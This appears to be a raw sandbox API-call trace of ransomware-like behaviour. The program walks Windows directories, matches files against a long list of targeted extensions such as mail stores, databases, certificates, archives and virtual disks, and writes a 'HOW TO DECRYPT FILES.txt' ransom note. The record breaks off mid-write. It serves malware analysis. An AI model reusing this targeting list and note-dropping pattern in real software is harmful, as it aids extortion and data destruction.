[0103.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.pst") returned 0 [0103.962] lstrlenA (lpString="*.pst") returned 5 [0103.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.ost") returned 0 [0103.963] lstrlenA (lpString="*.ost") returned 5 [0103.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.idx") returned 0 [0103.963] lstrlenA (lpString="*.idx") returned 5 [0103.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.dbx") returned 0 [0103.963] lstrlenA (lpString="*.dbx") returned 5 [0103.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.sql") returned 0 [0103.963] lstrlenA (lpString="*.sql") returned 5 [0103.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.mdb") returned 0 [0103.963] lstrlenA (lpString="*.mdb") returned 5 [0103.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.fdb") returned 0 [0103.963] lstrlenA (lpString="*.fdb") returned 5 [0103.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.wab") returned 0 [0103.963] lstrlenA (lpString="*.wab") returned 5 [0103.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.dat") returned 0 [0103.963] lstrlenA (lpString="*.dat") returned 5 [0103.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.txt") returned 0 [0103.963] lstrlenA (lpString="*.txt") returned 5 [0103.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.jpeg") returned 0 [0103.964] lstrlenA (lpString="*.jpeg") returned 6 [0103.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.jpg") returned 0 [0103.964] lstrlenA (lpString="*.jpg") returned 5 [0103.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.png") returned 0 [0103.964] lstrlenA (lpString="*.png") returned 5 [0103.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.php") returned 0 [0103.964] lstrlenA (lpString="*.php") returned 5 [0103.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.cs") returned 0 [0103.964] lstrlenA (lpString="*.cs") returned 4 [0103.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.cpp") returned 0 [0103.964] lstrlenA (lpString="*.cpp") returned 5 [0103.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.rar") returned 0 [0103.964] lstrlenA (lpString="*.rar") returned 5 [0103.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.zip") returned 0 [0103.964] lstrlenA (lpString="*.zip") returned 5 [0103.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.html") returned 0 [0103.964] lstrlenA (lpString="*.html") returned 6 [0103.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.htm") returned 0 [0103.964] lstrlenA (lpString="*.htm") returned 5 [0103.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.xlsx") returned 0 [0103.965] lstrlenA (lpString="*.xlsx") returned 6 [0103.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.xls") returned 0 [0103.965] lstrlenA (lpString="*.xls") returned 5 [0103.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.mp4") returned 0 [0103.965] lstrlenA (lpString="*.mp4") returned 5 [0103.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.ppt") returned 0 [0103.965] lstrlenA (lpString="*.ppt") returned 5 [0103.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.pptx") returned 0 [0103.965] lstrlenA (lpString="*.pptx") returned 6 [0103.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.doc") returned 0 [0103.965] lstrlenA (lpString="*.doc") returned 5 [0103.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.dot") returned 0 [0103.965] lstrlenA (lpString="*.dot") returned 5 [0103.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.docx") returned 0 [0103.965] lstrlenA (lpString="*.docx") returned 6 [0103.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.7z") returned 0 [0103.965] lstrlenA (lpString="*.7z") returned 4 [0103.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.tar") returned 0 [0103.966] lstrlenA (lpString="*.tar") returned 5 [0103.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.bz2") returned 0 [0103.966] lstrlenA (lpString="*.bz2") returned 5 [0103.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.gz") returned 0 [0103.966] lstrlenA (lpString="*.gz") returned 4 [0103.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.mkv") returned 0 [0103.966] lstrlenA (lpString="*.mkv") returned 5 [0103.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.eml") returned 0 [0103.966] lstrlenA (lpString="*.eml") returned 5 [0103.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.msg") returned 0 [0103.966] lstrlenA (lpString="*.msg") returned 5 [0103.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.edb") returned 0 [0103.966] lstrlenA (lpString="*.edb") returned 5 [0103.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.accdb") returned 0 [0103.966] lstrlenA (lpString="*.accdb") returned 7 [0103.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.odb") returned 0 [0103.966] lstrlenA (lpString="*.odb") returned 5 [0103.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.java") returned 0 [0103.967] lstrlenA (lpString="*.java") returned 6 [0103.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.asm") returned 0 [0103.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.pfx") returned 0 [0103.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.pem") returned 0 [0103.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.p12") returned 0 [0103.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.gpg") returned 0 [0103.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.vsd") returned 0 [0103.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.odg") returned 0 [0103.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.raw") returned 0 [0103.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.nef") returned 0 [0103.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.svg") returned 0 [0103.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.psd") returned 0 [0103.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.vmx") returned 0 [0103.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.vmdk") returned 0 [0103.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.vdi") returned 0 [0103.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.lay6") returned 0 [0103.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.mpeg") returned 0 [0103.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.djvu") returned 0 [0103.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.tiff") returned 0 [0103.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.backup") returned 0 [0103.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.pdf") returned 0 [0103.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.cert") returned 0 [0103.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.docm") returned 0 [0103.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.xlsm") returned 0 [0103.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.dwg") returned 0 [0103.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.nd") returned 0 [0103.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.tlg") returned 0 [0103.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.lgb") returned 0 [0103.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.mov") returned 0 [0103.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.xdw") returned 0 [0103.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.ods") returned 0 [0103.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.wav") returned 0 [0103.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.mp3") returned 0 [0103.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.aiff") returned 0 [0103.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.flac") returned 0 [0103.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.m4a") returned 0 [0103.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.csv") returned 0 [0103.971] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f29e83c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f29e83c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f2eaafc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x179400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MMCEx.ni.dll", cAlternateFileName="MMCEXN~1.DLL")) returned 0 [0103.971] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.971] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f38307d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f38307d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f38307d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6d4bacfd54e8f79763945bee5a50711d", cAlternateFileName="6D4BAC~1")) returned 0 [0103.971] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0103.971] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x597adf3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x597adf3d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x597adf3d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d004d, dwReserved1=0x450043, cFileName="MMCFxCommon", cAlternateFileName="MMCFXC~1")) returned 1 [0103.971] lstrcmpA (lpString1=".", lpString2="MMCFxCommon") returned -1 [0103.971] lstrcmpA (lpString1="..", lpString2="MMCFxCommon") returned -1 [0103.971] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0103.971] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="MMCFxCommon" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon" [0103.972] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x597adf3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x597adf3d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x597adf3d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0103.972] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.972] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x597adf3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x597adf3d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x597adf3d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.972] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.972] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.972] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x597adf3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x597adf3d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x597adf3d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="18e41c018ceff36c2512d12f570f0be7", cAlternateFileName="18E41C~1")) returned 1 [0103.972] lstrcmpA (lpString1=".", lpString2="18e41c018ceff36c2512d12f570f0be7") returned -1 [0103.973] lstrcmpA (lpString1="..", lpString2="18e41c018ceff36c2512d12f570f0be7") returned -1 [0103.973] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\*.*") returned="*.*" [0103.973] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\", lpString2="18e41c018ceff36c2512d12f570f0be7" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7" [0103.973] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x597adf3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x597adf3d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x597adf3d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.973] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.973] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x597adf3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x597adf3d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x597adf3d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.973] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.973] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.973] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59761c7c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x59761c7c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x59761c7c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x46200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MMCFxCommon.ni.dll", cAlternateFileName="MMCFXC~1.DLL")) returned 1 [0103.973] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.973] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MMCFxCommon.ni.dll") returned -1 [0103.974] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MMCFxCommon.ni.dll") returned -1 [0103.974] lstrcmpiA (lpString1="", lpString2="MMCFxCommon.ni.dll") returned -1 [0103.974] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\*.*") returned="*.*" [0103.974] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\" [0103.974] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\") returned="" [0103.974] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\HOW TO DECRYPT FILES.txt" [0103.974] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mmcfxcommon\\18e41c018ceff36c2512d12f570f0be7\\how to decrypt files.txt")) returned 0xffffffff [0103.974] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mmcfxcommon\\18e41c018ceff36c2512d12f570f0be7\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.975] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, 